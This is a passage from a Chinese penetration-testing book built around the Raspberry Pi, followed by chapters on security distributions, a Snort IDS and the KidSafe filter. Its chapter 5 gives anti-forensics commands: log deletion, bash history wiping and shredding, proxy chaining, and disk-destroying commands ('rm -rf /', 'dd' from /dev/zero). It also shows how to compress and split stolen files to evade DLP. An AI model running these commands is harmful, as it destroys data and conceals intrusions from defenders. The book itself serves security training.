图5-1展示了这条命令执行时的场景。

图5-1

图5-2则是日志删除前后的对比效果。

图5-2

删除入侵的Windows系统日志的另一种方式是安装Windows日志清理工具。可以下载到各种日志清理工具，如ClearLogs下载地址在http://ntsecurity.nu/toolbox/clearlogs/ 。这类程序的使用很简单，基本上就是在已完成渗透测试的系统上安装和运行一下即可。也可以手工执行命令来删除日志C:\ del %WINDR%* .log /a/s/q/f。命令里使用 /a参数意味着包括所有日志文件，/s是包括子目录，/f是跳过删除确认提示，直接强制删除。

不管用哪种程序，一旦清理完日志文件后，也要确保删除该工具，以免以后系统检查时被发现。

对于Linux系统，需要对/var/log目录有权限才能看到系统日志文件。如果确实有这些日志文件的操作权限，只要浏览并删除这些条目即可。图5-3展示了我的树莓派上的/var/log日志目录。

图5-3

可以用删除命令rm来删除这些文件，如执行rm文件名.txt或删除整个目录；然而这样删除文件来清除痕迹还不够隐秘。另一种做法是用Bash。只需要输入“> /文件完整路径”就能清空文件的内容但又不需要删除文件。这种做法更隐秘一些。

Kali Linux没有图形界面的文本编辑器，可以安装简单易用的此类工具gedit，使用apt-get install gedit命令下载安装即可。安装完成后，可以在application类别菜单中找到它，或者直接在终端窗口里输入gedit。如图5-4所示，界面和许多常规的文本文件编辑器很相似。点击File菜单，从/var/log目录里选择需要修改的文件。

图5-4

另外，还需要清理命令历史纪录，因为bash shell自动保存了最后500条命令的记录，取证时只要输入more ~/.bash_history就能看到。图5-5显示了我在树莓派上执行的最开始几百条命令。

图5-5

要确认存储在历史记录文件里的命令条数，可以输入echo $HISTSIZE。要删除这些记录也只要输入export HISTSIZE=0。从这时候开始，shell就不会再保存任何命令记录了，此时即使按上翻键，也不会显示上一条命令了。

设置历史记录条数的命令也可以加在Linux主机的.bashrc文件中。

图5-6所示为系统存储着最近执行的500条命令时的状态，也显示了清除历史日志之后的情况。

图5-6

在入侵的系统上，最好一开始就执行这条命令，这样以后也不会存储任何历史纪录了。只要执行了export HISTSIZE=0命令清除了历史纪录，即使退出登录，再次登录回来这条设置仍然有效。如果担心会被检查牵连，在完成渗透测试之后，在你的C&C服务器上也应该这么设置。

在Linux系统上，更激进更快捷地删除历史文件的方法，如图5-7所示，使用shred -zu /root/.bash_history命令彻底清除历史记录，这样会完全重置历史文件的内容。这个命令会用空字符重写整个历史纪录文件然后再删除日志文件。要确认这点，可以执行less /root/.bash_history看看历史纪录文件中的内容。

图5-7

5.3　掩盖网络痕迹

除非不介意自己的举动被查到，否则千万不要从自己的家庭网络里直接发起攻击，因为这样会被追踪到。最常见的做法是在攻击者和被攻击者之间，使用代理或多层代理，以隐藏真实的源IP地址。简单来说，代理是客户端获取另一个系统资源时的中间媒介。目标端只知道流量来自中介系统，而不知道真正的源在哪里。层级的代理就像洋葱，用常规的取证监察方式很难找出真正的源。

网络上有诸多免费的代理。可以在谷歌搜索Free Anonymous Web Proxy Server（免费匿名Web代理服务器），就能找到各种风格的代理，如Proxify、Anonymouse、Anonymizer和Ninja Cloak等，图5-8展示了Anonymouse的页面，以及介绍如何通过代理匿名上网的信息。要使用它们的服务，只需要在图5-8的网址搜索框中，输入希望访问的网页地址即可。

图5-8

代理服务器的管理员可以看到来往的流量，也能定位出经过代理的攻击目标和受害者，所以强烈建议在使用代理前，先搜一下这家代理服务器的口碑，由于代理有可能未经允许滥用流经的数据，包括在取证时，把这些证据提交给权威机构或出卖你的敏感信息。

5.3.1　代理链Proxychains

要隐藏源IP地址的另一个做法是使用代理链（proxychains）。Proxychains可以利用代理服务器做通道转发Kali命令。需要使用sudo apt-get install proxychains命令来安装该程序，因为默认的Kali Linux ARM映像中没有这个软件。

装完后，需要在etc/proxychains.conf配置文件新增一个代理IP地址，如图5-9所示。

图5-9

HideMyAss Internet security提供了一些免费可用的代理服务器，可以设置在Proxychains程序中。页面的地址为http://proxylist.hidemyass.com 。但请记住，这个方法并非绝对很可靠，代理服务器的管理员仍然可以看到全部的流量数据，在未告知的情况下还是可能滥用你的数据。

Proxychains配置文件的语法是proxychains <需要通过代理转发的命令> <可选参数>。在以下的例子中，希望通过proxychains隐藏扫描的源地址，然后用nmap命令来扫描192.168.1.0/24网段。请注意，在执行nmap命令之前，需要如下编辑Proxychains的.conf配置文件。

proxychains nmap 192.168.1.0/24

5.3.2　把树莓派重置成出厂设置

在终端和网络层面掩蔽好自己的痕迹后，最后一步就是从使用的工具里移除取证证据。要清除树莓派上的系统，只要重新刻录一遍SD上的映像即可。可以根据本书第1章的内容，用SD Card Formatter或Apple公司的Disk Utility重新格式化SD卡。然后根据第1章的步骤，继续安装新的映像文件如原版NOOBS程序，以掩盖树莓派曾经运行过Kali Linux。还可以在启动渗透测试之前，先备份好自己的定制版本Kali Linux映像，这样恢复以后就不会含有上次渗透测试时的数据了。

另一种做法是直接取出并毁坏microSD卡。图5-10所示为一块被掰断的microSD卡，这样就不会被追查到了。

图5-10

5.3.3　远程破坏Kali Linux

有时候碰到的情况是，你已经无法物理地接触到这台树莓派了，但又想确保它不会被客户没收，供以后的取证调查所用。当你把树莓派安插进网络做卧底，通过远程访问渗透进系统后需要做个收尾时，要毁掉树莓派。在这种场景，就无法擦除重写microSD卡里的内容，所以退而求其次的是破坏Kali Linux使得取证调查无法进行，别人不会知道在网络渗透期间这台树莓派做了什么。让我们看看怎样远程干掉树莓派上运行的Kali Linux吧。

通常，第一反应往往是删除所有的内容。要达到目标可以执行rm –rf /命令，rm就是删除的意思，-rf就是无需提示地强制递归删除所有文件和目录，而 / 告诉命令是从根目录开始删除。如果运行这个命令的时候参数是.*，也就是rm -rf .*，会删除所有的文件。这么做实际上不太好，因为删除只是告知系统把这部分空间腾出来可以重新使用了，但并没有重写数据，使用一些取证工具依然可以把数据恢复过来。更好的做法是执行dd if=/dev/zero of=/dev/sda1，这样才会彻底覆盖microSD卡，使数据难以恢复。

另一个做法是用mkfs.ext4 /dev/sda1命令格式化整个磁盘。mkfs.ext4命令用于创建一个新的.ext4文件系统，而/dev/sda1指定的是第一个磁盘上的第一个分区，也就是运行Kali Linux的空间。

运行这些命令会彻底干掉你的Kali Linux。如果有人让你执行这些命令，请千万小心，网上经常有人拿这些命令来捉弄人。

5.4　编写渗透测试报告

渗透测试服务中，最重要的就是提交给客户的文档质量。作者见过许多很有才的测试人员败给了品质较低但更职业化的服务提供商，仅仅是因为客户对最后报告的观感不同。这与报告提交给目标读者的方式、用户对坏消息有多上心，以及报告里细节有多丰富都有关系。最好的做法是，综合标准的渗透测试报告模式再加上对用户会如何解读报告内容的理解来写。例如，把客户公司里某个人圈定为系统的薄弱环节之一，可能就不太合适，因为那人也许恰好对是否需要购买安全服务具有影响力。

编写报告并不只是把找到的问题汇总进去即可，还需要记录整个使用场景，包括在渗透测试之前的环境：预先提供了什么信息，对当前条件的假设，当展开渗透测试时使用了哪些步骤，每一步执行的结果等。可能会碰到还没完成报告，管理员就补上漏洞的情况，所以记下每一步的时间和日期很关键。关于怎么写渗透测试报告可以参考一些比较受到认可的标准，如参考OWASP的安全测试指南，地址为https://www.owasp.org/index.php/Testing_Guide_Introduction

下面介绍可以帮助创建更专业的渗透测试报告的工具。

5.4.1　获得截图

Kali Linux ARM为了保持轻量，功能较为有限。为了做报告，其中一项尽管简单但执行起来有点烦的工作就是截图。以下介绍以命令行方式和图形界面工具能怎样简化这个过程。

ImageMagick

既可以在终端窗口下载ImageMagick，也可以在终端窗口执行该工具来截图。要下载该工具可以输入sudo apt-get install imagemagick命令。

安装好以后，可以输入import screenshot.png命令来截图。ImageMagick会把鼠标图标变成一个小盒子状，这就代表可以做截图了。点击屏幕上希望截屏的位置，截屏就会在根目录下生成该 .png文件。如果点击了某个窗体，ImageMagick就会只截取该特定窗体内的图片。可以输入eog screenshot.png命令来查看刚才的截图。

如果希望在若干延时后，自动截取树莓派的整个屏幕显示，可以输入sleep 10; import -window root screenshot.png命令。延时截图在有互动的情况下特别管用，如打开某个菜单，然后需要做屏幕截图。sleep后面跟的数字，就是希望过多少秒后开始截屏。import -window root部分的命令就是让ImageMagick对整个屏幕进行截图。命令的最后一个参数是截图要保存成哪个文件名。图5-11展示了该命令的使用。

图5-11

Shutter

另一款截图工具是Shutter。这款工具也需要用apt-get install shutter下载安装这个程序。装好后，可以在系统的应用分类下拉菜单里找到它，也可以直接在终端窗口里输入shutter。在第一次启动时，Shutter会提示需要先更新插件，才能使用完整功能。

图5-12展示了一个Shutter的会话窗口。

图5-12

Shutter的窗口中有各种选项。要想截图，可以根据版本的不同，点击箭头或剪刀的图标。这时候屏幕的颜色会有所变化，并提示画一个长方形的截图区域。在希望截图的位置画出长方形截图区，截下来的图就自动出现在Shutter程序的窗口中。这时候就可以对截图进行编辑和保存，供后面写报告时使用。

图5-13就是我对公司站点www.thesecurityblogger.com 页面的局部截图。

图5-13

另一种做法是对整个桌面进行截图，方式是点击快捷操作中方形的Desktop按钮。如果只想捕获窗口的部分图像，可以点击快捷操作中Desktop右面那个Window按钮。截图后，可以点击Paintbrush（画笔），调出各种编辑图片相关的功能，如图5-14所示。在保存最后的图像前，可以对截图进行切割、调整大小等操作。也可以点击快捷栏里电脑图标的按钮上传图片，点击画笔形状的按钮进行图像编辑。

图5-14

5.4.2　压缩文件

如果成功入侵了一套系统或者网络，有时候可能要在系统上添加或者删除数据。数据量可能很大，在网络上传输会颇为费时。如果在被入侵系统上操作的时间也很有限，那就更是个问题了。另外，在网络中移动大文件还可能会触动安全防护系统，如一些安防公司的数据泄漏防护（Data Loss Prevention，DLP）技术。

最好的方法是压缩文件，将文件分成小份，既可以加快下载/上传处理，发送/接收的动作也更隐秘。下面介绍在命令行和图形界面下，怎样实现这个目标。

Zip/Unzip

其中一种简单的命令行方式就是Zip。可以先用Zip在树莓派上压缩文件，以便把压缩文件传回C&C服务器，后续再解压回原来的样子。由于Zip在ARM版Kali里默认没有安装，所以需要执行apt-get install zip命令安装。

装完后，使用zip　“压缩后的文件名”“需要被压缩的文件”命令，其中“压缩后的文件名”是压缩后产生的文件名，而“需要被压缩的文件”是有待压缩的文件。“压缩后的文件名”会自动添加.zip的文件后缀。所以在图5-15所示的例子里，这条命令会把VictimData文件压缩为Stolen.zip文件。

图5-15

使用unzip Stolen.zip命令即可解压ZIP文件，将压缩文件还原为原始形式，也就是VictimData。也可以明确设定解压出来的文件叫什么名字，如unzip Stolen.zip VictimData.doc。图5-16显示了解压Stolen.zip的命令行。

图5-16

File Roller

如果需要具有图形化界面的软件处理各种格式的压缩软件，那File Roller就能满足需求。其功能和Zip类似，它可以在简单的图形界面里解压和压缩文件。File Roller也没有默认包括Kali Linux ARM映像里，所以需要执行apt-get install file-roller先安装。装完后，在终端窗口输入file-roller，就会出现程序的图形界面。在图5-17中，把Stolen.zip文件拖进File Roller界面后，就显示出原文件VictimData，然后点击Open按钮即可解压文件。

图5-17

要压缩文件，可以把文件拖进程序窗口中，File Roller会询问是否需要创建一个新的压缩文件。图5-18展示了把文件VictimData拖到File Roller中，创建了新的压缩文件VictimDataNew.tar.gz的场景。在文件命名提示界面中，设定File Roller压缩后的文件名为VictimDataNew，一旦压缩完成，会自动添加.tar.gz后缀。

图5-18

split

为了进一步把文件变小，可以在传输之前，将文件拆分为几个小份。一个实现这个功能的简单程序就是split。要分割一个文件，只要输入split“每个文件的大小” “需要被分割的文件名” “分割后文件名”即可。图5-19里的例子展示的就是把文件VictimData分成不超过50M的若干份名为Breakup的小文件。每个50 MB文件的文件名规律是以Breakup开头，后面再跟两个字母，顺序从aa开始。例如，我们的例子最后产生了3个文件，分别为Breakupaa、Breakupab和Breakupac。

图5-19

要还原这3个文件，可以执行cat "fileaa fileab fileac" >“合并后的文件名”。因此对上述例子来说，要组装回VictimData文件，就要使用Breakupaa、Breakupab和Breakupa文件名。也可以用cat Breakupa[a-c] > VictimData达到一样的结果，如图5-20所示，因为这3个文件首位字母是一样的，所以这条命令只需要表示第2位字母的顺序。

图5-20

总结

本章重点讲述渗透测试和攻击练习之后的收尾工作。内容包括从攻入的系统清理痕迹、掩藏网络通信的蛛丝马迹，以及最后清除渗透测试所用树莓派里的证据。本章最后谈到如何为潜在客户创建专业的漏洞提交文档的方法。

下一章介绍除了Kali Linux外，其他适用于树莓派的系统平台。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

第6章　其他树莓派项目

树莓派的设计目标就是尽量适应各种对硬件配置要求较低的操作系统。光是有记录的树莓派使用场景就有数百种之多，很多厂家也为树莓派社区发布了经过裁剪的ARM平台安装映像。除了Offensive Security的Kali Linux之外，还有各种其他渗透工具集。

评估其他ARM平台的渗透测试系统时，我们发现大部分发行版彼此都很相似，用的工具也一样，甚至在很多情况下，就是同一个编译版。无论选择了哪个版本的ARM操作系统，它们中的大部分升级周期和时间线路也是一样的。当然到了最后，还是要选择一个最适合自己的发行版。如果不确定选哪个，别担心，就选择Kali Linux好了。

本章讲解了以下内容：

PwnPi；

Raspberry Pwn；

PwnBerry Pi；

网络防护；

入侵检测和防护；

Snort；

Content filters（内容过滤器）；

KidSafe；

用OpenVPN做远程问；

Tor中继和路由；

Raspberry Tor；

Tor router；

用QEMU模拟器在PC上运行树莓派；

其他树莓派应用；

用PiAware做飞行跟踪；

PiPlay；

PrivateEyePi。

下面看一下除Kali Linux以外，其他可选的渗透测试平台。列表里排首位的PwnPi是最受欢迎的系统之一，有人甚至觉得它比Kali Linux更好。

6.1　PwnPi

PwnPi是一款非常成熟的用于树莓派的渗透测试平台。在本书写成之时，安全圈里有很多人认为在树莓派上PwnPi甚至比Kali Linux更稳定。但因为现在Kali Linux的受欢迎程度和知名度，就长远来说，树莓派上的Kali Linux会比PwnPi的支持更好。图6-1是PwnPi 3.0在刚启动时的欢迎页面。

图6-1

PwnPi具有某些独特之处，如支持超过200多个工具。PwnPi是一套专门为树莓派优化的Debian Wheezy系统，有简单的脚本可以自动配置反向Shell连接。可以从站点pwnpi.sourceforge.net 获得更多PwnPi的信息。

下面介绍怎样在树莓派上安装和运行PwnPi。

1．从pwnpi.sourceforge.net 网站下载PwnPi。安装步骤与Kali Linux类似。例如，使用sudo dd if=pwnpi-3.0.img of=/dev/disk2命令把pwnpi-3.0.img映像文件安装到microSD卡，因为microSD在Mac电脑上被识别为disk2。

2．有时在加载pwnpi-3.0.img映像时，会碰到启动的问题。解决的方法是下载最新版本。从https://github.com/raspberrypi/firmware 下载最新的树莓派固件，下载的是一个zip压缩文件。打开压缩文件，将boot目录下的所有文件，复制到安装好pwnpi-3.0.img的SD卡root目录下，若有同名文件则一律覆盖。

3．完成上述步骤后，把microSD卡插进树莓派并启动PwnPi系统。在执行任何操作前，建议备份当前的配置。具体方法在第1章中已探讨过。

PwnPi和某些ARM系统类似，无法启动的原因往往是由于驱动问题。所以在这里再提到了前面章节说过的步骤，可以在启动PwnPi之前，先复制最新的固件启动文件。如果碰到ARM系统无法启动都可以这么尝试。

4．这时候就可以给树莓派加电开机，启动树莓派Pwn系统了。

5．登录时，会提示输入用户名和密码。默认用户名是root，默认密码是toor。

6．建议在这时候执行apt-get update和apt-get upgrade命令更新系统。PwnPi还有个基本的Web界面可用，然而绝大部分的工具还是需要用终端或者命令行方式执行。要启动图形桌面，可以输入startx。

因为绝大多数工具还是需要用命令行方式运行，图6-2所示的图形界面中可以对终端窗口做一些管理设置，在图形界面的菜单里，也能找到PwnPi所带的一堆工具。

图6-2

要启用PwnPi中的工具，请先切换到/pentest目录下。所有的工具都在这个目录下。例如，如果想执行SET社工程序，只需在终端窗口输入/pentest/exploits/se-toolkit，就能启动该工具。也可以浏览访问该目录，查看关于如何使用Kali Linux和PwnPi的那些常用工具。

图6-3展示了启动SET套装（Social-Engineer Toolkit）时的场景。

图6-3

大多数安全相关发行版会把工具放在/pentest目录下。不同发行版之间的同一版本号程序，实际上就是相同的。

6.2　Raspberry Pwn

Raspberry Pwn发行版的团队还做了Pwn Pad和Pwn Phone。它们是基于Debian的发行版，包含许多常用工具（如SET、Wireshark、dnswalk）和各种无线测试工具。可以将它看成包含许多类似工具的Kali Linux的替代。

Raspberry Pwn的安装过程和常规的ARM平台系统安装不太一样。这是因为Raspberry Pwn是基于树莓派官方的Raspbian操作系统来安装的。

下面介绍安装和运行树莓派Raspberry Pwn使用的步骤。

1．先从http://www.raspberrypi.org/downloads 下载一个基本的Debian Raspberry Pi（Raspbian）发行版。这些映像文件是持续更新的。在本书写成时，所用的版本是2014-09-09-wheezy-raspbian.img，工作正常。

2．按照第1章的步骤安装系统。安装Debian映像文件的命令是sudo dd if=2014-09-09-wheezy-raspbian.img of=/dev/disk2。

3．装好后，将microSD卡插入树莓派，确保机器可以通过有线网络连上互联网。

4．执行sudo -i“具体命令”切换为root用户。

5．执行ping baidu.com测试网络的联通性。确认网络是联通的之后，输入apt-get update和apt-get upgrade升级固件。这应该只需要几分钟。

6．一旦升级完成，输入apt-get install git安装GIT。然后再执行git clone https://github.com/pwnieexpress/Raspberry-Pwn.git命令下载Raspberry Pwn software软件，如图6-4所示。

图6-4

7．几分钟后，就可以安装软件了。使用cd Raspberry-Pwn命令，先切换到Raspberry-Pwn目录下，再输入./INSTALL_raspberry_pwn.sh如图6-5所示。

8．安装软件，如图6-5所示。

图6-5

整个过程大约需要10～20分钟。

9．安装结束后，就会看到树莓派的登录提示符 #。使用默认账号信息登录，用户名pi，密码raspberry。如果修改过登录信息，使用修改后的账号密码。

10．登录后建议运行apt-get update和apt-get upgrade升级系统。

要访问该系统的各种工具，先切换到/pentesting目录。在该目录下，会发现各种常见的渗透工具。

如果输入startx，启动的只是Raspbian的KDE桌面环境。任何与Raspberry Pwn相关的安装都看不到，如果强行使用还可能导致损坏。建议不要使用KDE桌面环境，只用命令行的功能。

Raspberry Pwn是一套很棒的工具集合，在网络嗅探、使用SET做社会工程攻击和其他相关工具上都非常高效。但在深度和广度上，确实比不上Kali，但它的性能弥补了其他的缺陷。尽管目前未得到支持，但期望Pwnie Express公司日后能直接用集中管理控制台来管理Raspberry Pwn，使Raspberry Pwn能构成整个系统架构中低成本的嗅探器部分。

图6-6为Pwnie Express公司Raspberry Pwn发布页面。

图6-6

6.3　PwnBerry Pi

PwnBerry Pi的广告词是“树莓派上的另一款渗透测试系统”，它和Kali Linux的许多工具是一致的。很多同事和其他安全专家告诉我，PwnBerry Pi系统的开发者在基于Web平台上做渗透攻击上做了许多优化。然而我自己测试的时候对这点并没有特别的体会。

要注意的是，最好不要从低端系统如树莓派大量使用基于Web方式的渗透测试。如PwnBerry Pi包含了BeEF的安装文件但默认却没有安装这个程序，因为知道大部分渗透测试人员都不会在ARM平台使用这个工具。如果在ARM平台安装BeEF，会看到PwnBerry Pi开发团队加上去的一条警示条，提示在PwnBerry Pi平台上使用BeEF碰到了一些奇怪的表现。

下面介绍怎样安装PwnBerry Pi。安装的过程与Kali Linux不同，但和Raspberry Pwn相近。需要按以下步骤先下载Raspbian映像文件，在此基础上运行PwnBerry Pi。

1．先从http://www.raspberrypi.org/downloads 下载一个基本的Debian Raspberry Pi（Raspbian）发行版。这些映像文件是持续更新的。在本书写成时，所用的版本是2014-09-09-wheezy-raspbian.img，工作正常。

2．按照第1章的步骤安装系统。假设microSD卡被识别为disk2，那么安装Debian映像文件的命令是sudo dd if=2014-09-09-wheezy- raspbian.img of=/dev/disk2。

3．装好后，将microSD卡插入树莓派，确保机器可以通过有线网络连上互联网。

4．使用“sudo -i命令”切换成root用户。

5．测试网络的联通性，通过ping bing.com。确认网络是联通的之后，输入apt-get update和apt-get upgrade升级固件。这应该只需要几分钟。

6．一旦升级完成，输入apt-get install git安装git。然后输入git clone https://github.com/g13net/PwnBerryPi.git下载PwnBerry Pi软件。

7．几分钟后，应该就可以开始安装软件了。进入PwnBerry Pi目录，使用cd PwnBerry Pi，并输入./installpwnberrypi.sh来安装软件。整个过程大概需要10～20分钟。

8．安装完成后，就会看到树莓派的登录提示符 #。默认的Debian登录信息为用户名pi，密码raspberry。如果修改过登录信息，使用修改后的。

与许多发行版类似，PwnBerry Pi的工具都存放在pentest目录下，可以在终端窗口下，输入cd /pentest　命令进入。来到pentest目录后，会看到里面很多子目录，里面存放着安装的各款渗透测试工具。图6-7就是在图形界面的终端窗口中，执行ls命令后列出所有目录的情况。每个目录里都是一套可用的工具集。

图6-7

你不会想要执行startx命令的，因为它只会启动Raspbian里的KDE桌面环境。运行KDE对PwnBerry Pi没有任何好处，还可能使PwnBerry Pi上的各款工具运行出错。

还有几个值得注意的例外。Metasploit位于/opt/msf3目录下。你会发现这个版本比较老。新一些的Metasploit无法在PwnBerry Pi下正常工作。然而，这个特定版本的Metasploit运行得还不错，性能方面尤其明显。

请注意所有的工具都未预装，想用哪个工具要先安装。

我在测试时发现，某些工具虽然功能正常，但仍然会抛出些警告信息，提醒在树莓派上可能会出现问题。总的来说，PwnBerry Pi还行，但更建议选择成熟的工具集，如Kali Linux或PwnPi。

6.4　网络防护

本书的大部分内容都与攻击相关。但很不幸，有一天可能会发现自己的系统也需要抵挡各种攻击。这时候，你的防护手段就受到挑战了，希望此时你有合适的工具能及时发现攻击，避免入侵造成损失。

需要特别指出，树莓派并不适宜做网络防护平台。最好的做法是针对不同的入侵，部署不同的安全产品，如应用层控制、带状态信息的网络防火墙、入侵检测、访问控制、网络分段、恶意软件检测、网络监控、数据泄露等。要足以对抗当前的各种网络威胁，大多数此类产品都需要很高的处理能力和庞大的存储。很不幸，这些要求树莓派是无能为力的。

如果只是想在小型实验室环境测试基本的安全概念，比如用防火墙给网络划分网段或部署IDS扫描基本的威胁，那树莓派还是可以胜任便携实验室的功能的。某些ARM平台的硬件确实宣称适用于防护小型办公环境，然而还是不建议用树莓派来保护真实环境里的设备。

下面首先介绍怎样将树莓派变成IDS/IPS。在后文还会介绍树莓派的其他安全防护用法，如把树莓派用作VPN服务器或Tor节点等。

6.4.1　入侵检测和防护

说不定什么时候，你就成了网络入侵的受害者。最好的防护方式就是针对网络上的各个层面，部署多种安全防护方案，如果出现了入侵者，某个工具就能识别出来并阻断攻击者。常见的防护工具包括从防火墙到入侵检测技术如IDS/IPS产品。

可以把树莓派配置成一个低成本IDS/IPS，以提供某方面的网络防护功能。但只能在很特定的情况下这么做，因为有更好的适合长期使用的IPS/IDS产品。凡是超出基本检测和拦截的事情，树莓派的运算能力和存储能力就无法应对了，因此只用作测试和培训用途就好。

说到IPS/IDS，首要的事情是怎么部署。典型的使用场景是路由器和其他网络设备之间，或者某个系统接入网络的位置。当然可以部署为只做入侵检测的系统，这意味着我们的设备只是监控网络流量的镜像，但不能做强制性的拦截。在下面的例子里，会用Snort实现的IPS系统作为中间人，串在笔记本电脑和外部网络之间。在连入一个不信任的网络又没有走VPN网络时，这种方式比较理想。这种部署模式树莓派需要两个有线网口，所以用一个USB有线网卡做第二个网口。

把树莓派部署成中间人攻击和把树莓派部署成中间人方式的IPS，其步骤是类似的。需要先把两块网卡的地址设置为0.0.0.，使用网桥程序把两块网卡桥接起来。具体步骤在3.4节讨论过。把两块网卡桥接为网桥需要用到命令如图6-8所示。

图6-8

Snort

Snort是当今最常见的开源IDS/IPS系统，因为思科收购了Sourcefire，所以Snort现在属于思科旗下。在树莓派上使用Snort的最主要问题是该程序需要的资源超出了树莓派的能力。要使它能正常工作，建议调低Snort的处理能力。

可以在Kali Linux里执行和安装Snort，尽管并未预装。

确保在桥接两块网卡之前，先把Snort下载和升级好了，否则设置为网桥后，可能就无法访问互联网了。一个解决方案是在需要升级时，再增加一块无线网卡或有线网卡来提供互联网连接，而另两块网卡用作网桥。

让我们来看看怎么安装和使用Snort。按以下步骤把中间人网桥搭建好。

1．使用以下命令下载所需的文件。

sudo apt-get install flex bison build-essential checkinstall libpcap-dev libnet1-dev libpcre3-dev libmysqlclient15-dev libnetfilter-queue-dev iptables-dev

2．Snort还依赖一些未包含在Kali Linux ARM映像文件里的库文件。而Snort要正常工作，还需要安装这些依赖库，方式是输入以下命令。

 wget https://libdnet.googlecode.com/files/libdnet-1.12.tgz

3．然后执行tar -zxvf libdnet-1.12.tgz命令解压这个文件。文件解压后，使用cd进入解压后的目录。

4．要适应64位操作系统还需要指定CFLAGS变量，方法是输入./configure CFLAGS="-fPIC"命令。执行完这一步后，再输入make命令进行编译。

5．下一步需要创建一个符号链接，从实际的libdnet目录链接到Snort期望的libdnet库位置。输入命令：ln -s /usr/local/lib/libdnet. 1.0.1 / usr/lib/libdnet.1 。

6．再切换到一个用于安装Snort的目录下。可以在桌面上创建一个新的snort目录，方法是在命令行状态下，从桌面目录执行命令mkdir snort，或图形界面下的桌面上，右键并选择创建新目录snort。

7．接下来，需要下载Snort所需要的数据库文件。输入wget https://www.snort.org/downloads/snort/daq-2.0.4.tar.gz命令。请注意这个版本可能已经与实际情况不符。请访问snort.org以确保获得最新版本。

8．使用以下命令下载Snort [1] 。

 wget https://www.snort.org/downloads/snort/snort-2.9.7.0.tar.gz

9．使用以下命令解压并安装Snort数据库。

 tar -zxvf daq-2.0.4.tar.gz

 cd daq-2.0.4

 ./configure; make; sudo make install

10．下载Oinkcode版或社区版规则库。Oinkcode规则的序列号需要和已有的Snort用户帐号绑定。如果无法获得Oinkcode规则库，可以下载社区版规则库。

11．执行wget https://www.snort.org/rules/community命令，会在当前目录下保存了一个community.tar.gz文件。然后将这个文件解压到Snort的规则目录下，方法：tar xvfz community.tar.gz -C /etc/snort/rules。

在某些情况下，上述wget命令下载回来的文件可能缺少文件后缀名。如果下载到的文件就叫community或类似名字，后面没有.tar.gz后缀名，需要先执行mv community community. tar.gz命令。

12．接下来可以开始安装Snort了。要安装Snort，先输入apt-get install snort。会看到配置Snort网络接口IP地址和子网掩码的提示，如图6-9所示。

图6-9

完成设置后，Snort的安装过程也完成了，如图6-10所示。

图6-10

这样就已经成功配置好Snort了。这时就可以用Snort来完成各种任务了，如输入snort命令来分析前面步骤里创建好的网桥的网络流量。可以专门为Snort写一整本书，当然也确实已有此类书籍了。如果对Snort不熟悉，建议访问其官方站点www.snort.org 了解更多。

启动Snort最容易的方式就是输入./snort -i eth0；这会启动Snort并在网卡0上进行监听。还有许多高级设置可用做各种流量捕获并能把信息转发给syslog服务器用于后续分析。默认Snort会如图6-11所示的那样把所有信息显示在终端屏幕上。虽然屏幕上消息滚动很快，但也不用担心看不清楚，因为可以把这些信息转发到外部syslog服务器上。

图6-11

额外的步骤是通过脚本，把Snort设置为自启动。这种情况一般是把树莓派专门用于Snort。以下例子就是创建脚本，在开启树莓派时自动启动Snort。

autostart-IDS.sh脚本

#!/bin/bash

# 以下步骤把两块网卡配置为网桥
ifconfig eth0 0.0.0.0

ifconfig eth1 0.0.0.0

brctl addbr bridge0

brctl addif bridge0 eth0

brctl addif bridge0 eth1

ifconfig bridge0 up

#以下命令通过Snort和TCPdump开始监听并检测经过网桥接口的网络流量
tcpdump -i bridge0 -w /root/IDS-log/networkdump/network-traffic-$(date+%y%m%d).cap &

snort -i bridge0 -v |tee /root/IDS-log/snortdump/Snort-dump-$(date +%ym%d) &

6.4.2　内容过滤器

内容过滤器用于读者浏览互联网时，授权他们可以阅览哪些类型的内容。以往的内容过滤器需要手工调整，如手工更新URL列表，然而现在大多数广告都会自动提供内容分类，自动更新网站标签。对业界网络管理员来说，最常见的使用场景是拦截互联网上某些不当内容如色情网站。通常来说，内容过滤系统和网络代理或应用层防火墙是功能绑定的。

下面介绍怎样把树莓派变成一个家庭办公环境里的内容过滤系统，方便父母控制孩子使用家里的网络。

KidSafe

KidSafe用于读者浏览互联网时，过滤他们不能浏览的不恰当的内容。KidSafe的机制是通过Squid代理整合开源的网页URL过滤服务。这样父母只需通过一套简单易用图形界面，就能控制孩子的互联网访问权限了。

KidSafe可以装在各种版本的Linux下，包括树莓派版Kali。这个应用适用于低能耗低成本的运算平台，很适合家庭使用。建议在Raspbian系统上安装KidSafe，这样就不需要牵扯到与Kali Linux相关的其他设置。购买树莓派时，默认的安装版本就是Raspbian ARM。当然也可以到http://www.raspberrypi.org/downloads/ 下载安装。安装过程和Kali Linux类似，详见第1章。

步骤如下。

1．准备安装KidSafe前，需要将默认的DHCP方式改为静态地址方式，这样就无需担心IP地址会变。客户端如PC机和智能手机需要通过它代理上网，所以确保它使用的是静态地址很重要，这样其他的网络设备才能访问到它。所以必须是静态地址，终端设备才不需要来回调整代理服务器IP设置。需要执行以下步骤。

（1）把IP改为静态地址。

（2）输入ifconfig命令查看网络接口。看到的信息类似于图6-12所示。请留意运行命令后的返回结果。

图6-12

（3）编辑网卡接口文件。此处用nano来完成 [2] ，但也可以选择自己喜欢的编辑器。输入sudo nano /etc/network/interfaces命令。执行命令后出现图6-13 [3] 。

图6-13

（4）找到类似这句的地方：iface eth0 inet dhcp。需要把这一行改为静态地址。在本例中，设定的静态IP地址为10.0.1.167，子网掩码为255.255.255.0，以及默认网关10.0.1.1，如图6-14所示。

图6-14

2．接着执行sudo apt-get install tor命令来安装tor。

3．使用sudo apt-get install squid3命令安装Squid。

4．然后安装轻量级Web服务器lighttpd，执行sudo apt-get install lighttpd命令。

5．KidSafe需要用到PHP。为了安装PHP，执行sudo apt-get install php5- common php5-cgi php5 php5-mysql命令，再执行sudo lighty-enable- mod fastcgi-php命令启用对php的支持。

6．此时需要重新加载Web服务，执行命令sudo service lighttpd force- reload。

7．安装图形界面的PHP管理工具。这一步并非必要，只是有Web管理界面，能更容易对PHP进行管理 [4] 。要安装图形界面的管理器，执行sudo apt-get install phpmyadmin命令。装完后，就可以在浏览器里访问http://localhost/phpmyadmin/ 管理PHP了。

8．接着，输入sudo chown www-data:www-data /var/www命令修改网页目录的属主和属组。另外，还需要修改一下目录的权限，执行sudo chmod 775 /var/www命令。

